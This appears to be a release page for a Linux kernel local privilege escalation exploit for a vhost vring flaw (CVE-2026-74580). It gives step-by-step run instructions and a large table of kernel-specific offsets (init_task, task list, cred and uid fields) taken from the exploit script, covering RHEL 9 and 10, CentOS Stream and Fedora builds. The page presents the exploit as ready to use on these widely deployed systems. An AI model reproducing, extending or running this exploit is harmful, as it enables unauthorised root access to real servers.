CVE-2026-74580 - LPE

CVE-2026-74580 vhost: reset the vring metadata cache on vring reconfiguration - Exploit

Exploit History

I discovered this vulnerability three days after it had been reported by another researcher. However, I had already developed the exploit and chose not to release it until I had verified that most Linux distributions had applied the necessary patches.

How the Exploit Works

1. Check vulnerability status: Verify whether the running kernel version is vulnerable and whether the permissions on /dev/vhost-net and /dev/vhost-vsock are set to 0660.
2. Identify kernel-specific offsets: If the system meets the conditions above, identify the kernel-specific offsets required by the exploit: OFF_DIVIDE, OFF_INIT_TASK, T_TASKS, T_PID, T_REAL_CRED, and C_UID. If these offsets are not listed in the exploit's offset table, they can be obtained from publicly available information. Make sure to use information matching the exact kernel version.
3. Execute the exploit: Once all the prerequisites are satisfied, make the script executable using chmod +x CVE-2026-74580.sh, then run it with ./CVE-2026-74580.sh. The exploit handles the remaining steps automatically.

Version Tested and Exploit Confirmed

RHEL 10.x

Kernel: 6.12 | cred.uid: 8

Symbols from AlmaLinux, Rocky Linux, and CentOS Stream 1:1 rebuilds of the same NVR.

6.12.0-211.47.1.el10_2.x86_64)  echo  0x1001030  0x2212940  2624  2832  3352  8 ;;  # RHEL 10.2 vuln
6.12.0-211.7.1.el10_2.x86_64)   echo  0x1001030  0x2212940  2624  2832  3352  8 ;;  # RHEL 10.2 vuln
6.12.0-124.8.1.el10_1.x86_64)   echo  0x1001030  0x2010940  2560  2768  3288  8 ;;  # RHEL 10.1 vuln
6.12.0-55.9.1.el10_0.x86_64)    echo  0x1001030  0x2010940  2544  2752  3272  8 ;;  # RHEL 10.0 vuln
6.12.0-248.el10.x86_64)         echo  0x1001030  0x2212900  2624  2832  3352  8 ;;  # CentOS Stream 10 vuln

RHEL 9.x

Kernel: 5.14 | cred.uid: 4

5.14.0-734.el9.x86_64)          echo  0xe00930  0x1e1a900  2544  2744  3248  4 ;;  # CentOS Stream 9
5.14.0-731.el9.x86_64)          echo  0xe00930  0x1e1a900  2544  2744  3248  4 ;;  # CentOS Stream 9
5.14.0-687.44.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.36.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.39.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.5.1.el9_8.x86_64)    echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-611.5.1.el9_7.x86_64)    echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.7 vuln
5.14.0-570.12.1.el9_6.x86_64)   echo  0xe00940  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.6 vuln
5.14.0-503.11.1.el9_5.x86_64)   echo  0xe00940  0x1e1a8c0  2512  2712  3216  4 ;;  # RHEL 9.5 vuln
5.14.0-427.13.1.el9_4.x86_64)   echo  0xe00950  0x1c1a940  2512  2752  3256  4 ;;  # RHEL 9.4 vuln
5.14.0-362.8.1.el9_3.x86_64)    echo  0xe00910  0x1c1a940  2512  2776  3280  4 ;;  # RHEL 9.3 vuln
5.14.0-284.11.1.el9_2.x86_64)   echo  0xc008f0  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.2 vuln
5.14.0-162.6.1.el9_1.x86_64)    echo  0xc008f0  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.1 vuln
5.14.0-70.13.1.el9_0.x86_64)    echo  0xc00860  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.0 vuln

Fedora

6.19.10-300.fc44.x86_64)        echo  0x1030  0x2a131c0  2560  2768  3288  8 ;;  # Fedora 44